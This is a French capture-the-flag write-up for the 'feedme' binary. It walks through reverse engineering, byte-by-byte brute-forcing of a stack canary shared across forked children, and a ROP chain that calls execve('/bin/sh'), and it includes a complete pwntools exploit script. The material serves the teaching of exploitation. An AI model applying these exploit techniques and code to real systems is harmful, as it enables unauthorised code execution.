Aujourd'hui on s'attaque à un challenge intéressant. Il mêle ROPchain et bypass de stack canary.
Commençons par les vérifications de base:
pwn checksec feedme

La sécurité NX est activée, on ne va donc pas pouvoir exécuter un shellcode sur la pile donc on va utiliser une ROPchain.
file feedme

Le fichier est lié statiquement donc il n' y aura pas mal de gadgets disponibles

De cette première exécution on peut supposer qu'il y'a surement un stack canary qui permet de détecter le buffer overflow. De plus le programme redemande une entrée utilisateur (et y'a aussi écrit "Child exit"), ce qui indique que le buffer overflow a eu lieu dans un processus fils et que donc il y a un fork dans le programme ou quelque chose d'équivalent.

C'est confirmé il y'a bien un fork
Quand on analyse le programme avec Ghidra on ne trouve pas de main. On va donc chercher la fonction qui affiche les messages tels que "FEED ME".
Avec la recherche d'une string "FEED ME" et un cross référence on tombe sur la fonction à: 0x08049036

La fonction est assez énigmatique, on va avoir besoin de l'analyse dynamique pour clarifier son fonctionnement.
Concentrons nous sur la fonction FUN_0804fc6
.

b *0x0804904e
Breakpoint 1 at 0x804904e
b *0x08049053
Breakpoint 2 at 0x8049053

Parenthèse #1: le fork est confirmé
Si on lance le programme directement on se rend compte que l'on atteindra jamais les breakpoints car ils sont dans le processus fils et que GDB ne suit pas par défaut le processus fils.

On va expliquer à GDB qu'il faut suivre le processus fils plutôt que le processus parent.
set follow-fork-mode child
Fin de la parenthèse #1

A priori la fonction ne sert qu'à l'affichage
Donc on va l'appeler "puts"
On sait aussi qu'il y a un canary. En regardant le contenu de notre fonction on peut en déduire que c'est la seule valeur testée à la fin du programme (après avoir récupéré notre input).
Sur le même principe que notre fonction "puts" et au vu de sa signature, la fonction FUN_0804f700
peut être assimilée à un "printf".
Ce qui nous permet de décrire le programme de la façon suivante:

Pour compléter l'analyse on va étudier le comportement de FUN_08048e42
(analyse dynamique).
#Mise en place des bp avant et après l'appel à la fonction mystère
b *0x08049053
b * 0x08049058
run
# Atteindre le premier bp et continuer
continue
# Le programme attend une entrée utilisateur
ABCD
# Atteindre le second bp
# Comme c'est du 32 bits le retour de la fonction est stocké dans EAX
i r
eax 0x41 0x41
Donc la fonction renvoie la première lettre sous son format ASCII (A = 0x41, B=0x42, etc...)

Ce qui permet de conclure que le programme utilise la première lettre comme valeur de taille pour le remplissage de son buffer. C'est étonnant, mais pourquoi pas après tout.

On peut maintenant déduire le fonctionnement de FUN_08048f6e
toujours grâce à l'analyse dynamique ;)
b * 0x0x8049089
r
# Mon entrée utilisateur
ABCDEFGHIJKLMNOPQRSTAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ni
# info registers
i r
eax 0x80ebf40 0x80ebf40
x/s 0x80ebf40
0x80ebf40: "42434445464748494a4b4c4d4e4f5051..."
On retrouve bien les 0x10 (16d) premières valeurs de notre input ainsi que les 3 points de suspension terminaux.
On va donc nommer cette variable "inputFromBuffer".

On peut maintenant déduire la dernière pièce du puzzle. Que fait la fonction FUN_08048E7E
? C'est tout bêtement un "scanf" qui va utiliser la première valeur de notre input comme limiteur de taille. C'est là que réside tout le problème, notre buffer ne fait que 32 caractères de long.

Pour s'en convaincre, on peut donner à notre programme une input plus petite que 32 octets. Si par exemple l'input commence par un espace alors la valeur de limite du "scanf" sera de 20 caractères (cf l'ASCII table).

Maintenant qu'on comprend comment le programme fonctionne et qu'on sait où est la faille on peut passer à la construction de la ROPchain.
Première étape: trouver l'offset entre notre input et le stack canary.
On sait que le stack canary en 32 bits fait 4 octets de long (diablement logique, je sais) et surtout qu'il finit forcément par un null byte.

b *0x8049069
b *0x0804906e
Voilà le pointeur sur le buffer. En cherchant un peu on trouve la valeur du stack canary.

NB: les adresses peuvent être différente chez vous.
Maintenant calculons les offsets.

# Distance Saved EIP - Input
0xffffd0ec - 0xffffd0bc

# Distance StackCanary - Input
0xffffd0dc - 0xffffd0bc

Maintenant pour savoir si l'on peut bruteforcer le stack canary il faut que l'on comprenne comment est généré le fork. Pour ça on va remonter la pile d'appel (la backtrace en termes GDBien).

Et on va fouiller toutes ces fonctions jusqu'à retrouver la fonction qui gère le fork.

La voici, on peut savoir que c'est elle grâce au messages qu'elle affiche.
On a pas vraiment besoin de plus. l'information essentiel c'est que le fork est répété 800 fois.
Comme c'est un fork la mémoire du process parent est copié dans la mémoire du fils et donc le stack canary sera le même entre le processus parent et le processus fils. Ce qui veut dire que si l'on trouve le bon stack canary dans les 800 essais possibles alors on peut le bypass.
On sait qu'un stack canary en 32 bits fait 4 octets de long et termine par un null byte. Ce qui veut dire que l'on doit deviner une valeur de 3 octets de longs.
On va deviner le stack canary de manière itérative. Puisqu'on peut écraser le stack canary avec une valeur que l'on connait on va d'abord écraser le premier octet du stack canary, à partir de là, si le programme crash alors notre valeur n'est pas la même que celle du canary, sinon, c'est que la valeur du premier octet du canary est la même que celle qui vient de l'écraser, on a donc trouver le premier octet du canary. On procède comme ça jusqu'à trouver les valeurs des 3 octets du canary. Ce qui fait un maximum de 256 + 256 + 256 possibilités soit 768, donc on peut deviner la valeur du stack canary avant d'atteindre la limite des 800 forks.
C'est un peu analogue à l'exploitation du SQLI blind.
NB: Ce bruteforce est possible car la fonction qui copie la valeur dans le buffer ne tient pas compte des null bytes.Après cela, nous aurons le canari et rien ne pourra nous empêcher d'exécuter du code. La question se pose alors de savoir ce qu'il faut exécuter. NX est activé, donc nous ne pouvons pas passer par un shellcode que nous plaçons sur la pile.
Cependant, la sécurité PIE (randomisation de l'adresse du code) n'est pas activé. On peut donc construire une ROPchain. Pour cette ROPchain, je vais faire un appel système à /bin/sh, ce qui nous permettra d'obtenir un shell.
Le code pour trouver le canary
Voilà le code pour trouver le canary
#!/usr/bin/env python3
# -*-coding: utf-8 -*-
from pwn import *
context.log_level = 'info'
# context.log_level = 'debug'
p = process("./feedme")
e= ELF('./feedme')
def FEED_ME(food):
p.sendafter("FEED ME!",chr(len(food)))
p.send(food)
# On sait que le canary termine par un null byte
canary = "\x00"
for i in range(0,3):
# Un octet contient 256 valeurs donc de 0 à 255
for c in range(0,255):
# Pour garder un oeil sur l'avancement
if (c % 100) == 0:
log.info("testing bytes: " + str(i) + " with: " + str(c) + "\n")
# Test d'une valeur de canary
FEED_ME("A"*0x20+canary+chr(c))
if not "*** stack smashing detected ***" in str(p.recvuntil("Child exit.")):
canary+=chr(c)
break
log.info("canary : 0x%x " % u32(canary))

Le code pour exécuter un shell
Pour exécuter un shellcode il faut remplir les registres avec les valeurs suivantes:
EAX = 11 (ou 0x0B en hexa) – le numéro d'appel système
EBX = Address en mémoire de "/bin/sh"
ECX = Null (pointeur sur argv)
EDX = Null (pointeur sur envp)
int 0x80 # Interruption système
On va tester ce code afin de vérifier que l'on peut bien passer des valeurs nulles à EXC et EDX. On ne sait jamais ça pourrait être une raison pour laquelle notre shellcode foire.
.section .data
file_to_run:
.asciz "/bin/sh"
.section .text
.global main
main:
movl $11, %eax # sys_execve
movl $file_to_run, %ebx # file to execute
movl $0, %ecx # Null value will work too
movl $0, %edx # Null will works too
int $0x80
NB: Il y a aussi des gadgets du style XOR edx, edx
. Ce qui peut être pratique si notre input était traitée par une fonction qui s'arrête au premier null byte.
On le compile en 32 bits et sans protection.
gcc -m32 -fno-stack-protector -z execstack -no-pie -nostdlib -o syscallExecve syscallExecve.s

Maintenant on va essayer de trouver un espace libre dans la section .bss
.
Pour le .bss
on peut le trouver de plusieurs façons:
- via objdump :
objdump -h feedme
[Truncated output]
22 .data 00000f20 080ea060 080ea060 000a1060 2**5
CONTENTS, ALLOC, LOAD, DATA
23 .bss 0000180c 080eaf80 080eaf80 000a1f80 2**5
ALLOC
24 __libc_freeres_ptrs 00000018 080ec78c 080ec78c 000a1f80 2**2
ALLOC
- via gef (meilleur car affiche ce que contient la section) :

Ce qui compte c'est que ca ne soit pas utiliser par le programme. on va donc choisir un offset arbitrairement, en l'occurrence on cherche 2 adresses mémoires consécutive qui ne soit pas remplie. J'ai choisis l'offset 2472.

Puisqu'on sait où écrire en mémoire, il faut trouver un gadget qui permette d'y écrire. Pour remplir le bss avec ce qui nous intéresse on va chercher les instructions de la forme mov dword ptr [eax] *; ret
avec la regexp suivante:
ROPgadget.py --binary ./feedme | grep -E "^0[xX][0-9a-fA-F]+[ : ]+mov dword ptr \[eax\].*; ret"
On remarque que l'avant dernière ligne correspondrait bien à ce qu'on cherche. Cette instruction va charger le contenu de EDX dans l'adresse pointée par EAX.

On en profite pour chercher les autres gadgets dont on aura besoin:
- De quoi charger EAX
grep -E "^0[xX][0-9a-fA-F]+[ : ]+pop eax ; ret"

- De quoi charger EBX
- De quoi charger ECX


NB: on a pas de gadget unique pour charger EBX ou ECX indépendamment alors on va chercher un gadget qui fasse les 2 en même temps.

- De quoi charger EDX

A partir de là on va devoir convertir notre string /bin/sh
en 2 morceaux de 4 octets chacun car on est sur du 32 bits.
# Generate little endian hex representation of "/bin"
u = make_unpacker(32, endian='little', sign='unsigned')
hex(u('/bin'))
Maintenant on peut construire notre ROPchain
def FEED_ME(food):
p.sendafter("FEED ME!",chr(len(food)))
p.send(food)
e= ELF('./feedme')
bss = int(hex(e.bss()), 16)
bss = bss + 2472
u = make_unpacker(32, endian='little', sign='unsigned')
# Charger BSS avec "/bin"
payload += p32(0x080bb496) # pop eax ; ret
payload += p32(bss) # bss address
payload += p32(0x0806f34a) # pop edx
payload += p32(0x6e69622f) # Hex of "/bin" en little endian)
payload += p32(0x0807be31) # mov dword ptr [eax], edx ; ret
# Charger BSS+0x4 avec "/sh/" et un null byte
payload += p32(0x080bb496) # pop eax ; ret
payload += p32(bss+0x04) # bss address + 0x4
payload += p32(0x0806f34a) # pop edx
payload += p32(int(hex(u('/sh\x00')),16)) Hex of "/sh\x00" en little endian)
payload += p32(0x0807be31) # mov dword ptr [eax], edx ; ret
# Maintenant que l'on a charger le BSS on
# peut charger les autres registres avec les bonnes valeurs
# Charger eax avec 11
payload += p32(0x080bb496) # pop eax ; ret
payload += p32(0xb) # 11
# Charger ecx avec zero
# Comme il n'y a pas de gadget de la forme xor ecx, ecx on va se contenter de mettre 0 dans ecx via un pop
# Comme il n'y a pas de gadget de la forme pop ecx on va se contenter d'un gadget similaire pop ecx , pop ebx : ret
# Ce qui tombe bien puisqu'on utilise ebx pour contenir un pointeur sur le fichier a éxecuter (celui qu'on a chargé dans .bss)
payload += p32(0x0806f371) # pop ecx ; pop ebx ; ret
payload += p32(0x0) # 0x0
payload += p32(bss) # bss address
# Charger edx avec zero
payload += p32(0x0806f34a) # pop edx ; ret
payload += p32(0x0)
# Faire un syscall
payload += p32(0x8049761) # syscall
# On envoi notre payload
FEED_ME(payload)
# On passe en mode interactif
p.interactive()
Le code complet de l'exploit
Il ne reste plus qu'a assembler le code pour trouver le canary et le code qui construit la ROPchain.
#!/usr/bin/env python3
# -*- coding:utf8 -*-
from pwn import *
context.log_level = 'info'
# context.log_level = 'debug'
p = process("./feedme")
e= ELF('./feedme')
def FEED_ME(food):
p.sendafter("FEED ME!",chr(len(food)))
p.send(food)
# On sait que le canary termine par un null byte
canary = "\x00"
for i in range(0,3):
# Un octet contient 256 valeurs donc de 0 à 255
for c in range(0,255):
# Pour garder un oeil sur l'avancement
if (c % 100) == 0:
log.info("testing bytes: " + str(i) + " with: " + str(c) + "\n")
# Test d'une valeur de canary
FEED_ME("A"*0x20+canary+chr(c))
if not "*** stack smashing detected ***" in str(p.recvuntil("Child exit.")):
canary+=chr(c)
break
log.info("canary : 0x%x " % u32(canary))
canary = hex(u32(canary))
bss = int(hex(e.bss()), 16)
bss = bss + 2472
log.info("BSS: " + str(bss))
payload =b"0"*0x20 + p32(int(canary, 16)) # PADDING pour atteindre le stack canary
payload += b"1"*0xc # PADDING pour atteindre l'addresse
# de retour - len(canary)
u = make_unpacker(32, endian='little', sign='unsigned')
# Charger BSS avec "/bin"
payload += p32(0x080bb496) # pop eax ; ret
payload += p32(bss) # bss address
payload += p32(0x0806f34a) # pop edx
payload += p32(int(hex(u('/bin')),16))
payload += p32(0x0807be31) # mov dword ptr [eax], edx ; ret
# Charger BSS+0x4 avec "/sh/" et un null byte
payload += p32(0x080bb496) # pop eax ; ret
payload += p32(bss+0x04) # bss address + 0x4
payload += p32(0x0806f34a) # pop edx
payload += p32(int(hex(u('/sh\x00')),16))
payload += p32(0x0807be31) # mov dword ptr [eax], edx ; ret
# Maintenant que l'on a charger le BSS on
# peut charger les autres registres avec les bonnes valeurs
# Charger eax avec 11
payload += p32(0x080bb496) # pop eax ; ret
payload += p32(0xb) # 11
# Charger ecx avec zero
# Comme il n'y a pas de gadget de la forme xor ecx, ecx on va se contenter de mettre 0 dans ecx via un pop
# Comme il n'y a pas de gadget de la forme pop ecx on va se contenter d'un gadget similaire pop ecx , pop ebx : ret
# Ce qui tombe bien puisqu'on utilise ebx pour contenir un pointeur sur le fichier a éxecuter (celui qu'on a chargé dans .bss
payload += p32(0x0806f371) # pop ecx ; pop ebx ; ret
payload += p32(0x0) # 0x0
payload += p32(bss) # bss address
# Charger edx avec zero
payload += p32(0x0806f34a) # pop edx ; ret
payload += p32(0x0)
# Faire un syscall
payload += p32(0x8049761) # syscall
# On envoi notre payload
FEED_ME(payload)
# On passe en mode interactif
p.interactive()
Si vous avez tout bien suivi normalement on obtient un shell.

NB: (Ligne 41) La distance entre le début du canary et l'adresse de retour est calculée comme suit.

Car on sait que le canary commence à l'offset 0X20
et que l'adresse de retour est à l'offset 0X30
donc 0x30 - 0x20 = 0x10
.
Ressources
# Autre exemple d'exploitation with pwntool en python3
https://xerxes-break.tistory.com/332?category=679890
# Regex tool
https://regex101.com/
# Syscall x86 reference:
https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#x86-32_bit
# Compile ASM 32 bits on 64 bits system
https://stackoverflow.com/questions/18429901/compiling-32-bit-assembly-on-64bit-system-ubuntu
https://stackoverflow.com/questions/21679131/error-invalid-instruction-suffix-for-push
https://stackoverflow.com/questions/9342410/sys-execve-system-call-from-assembly
# Remove protection with gcc compil
https://stackoverflow.com/questions/2340259/how-to-turn-off-gcc-compiler-optimization-to-enable-buffer-overflow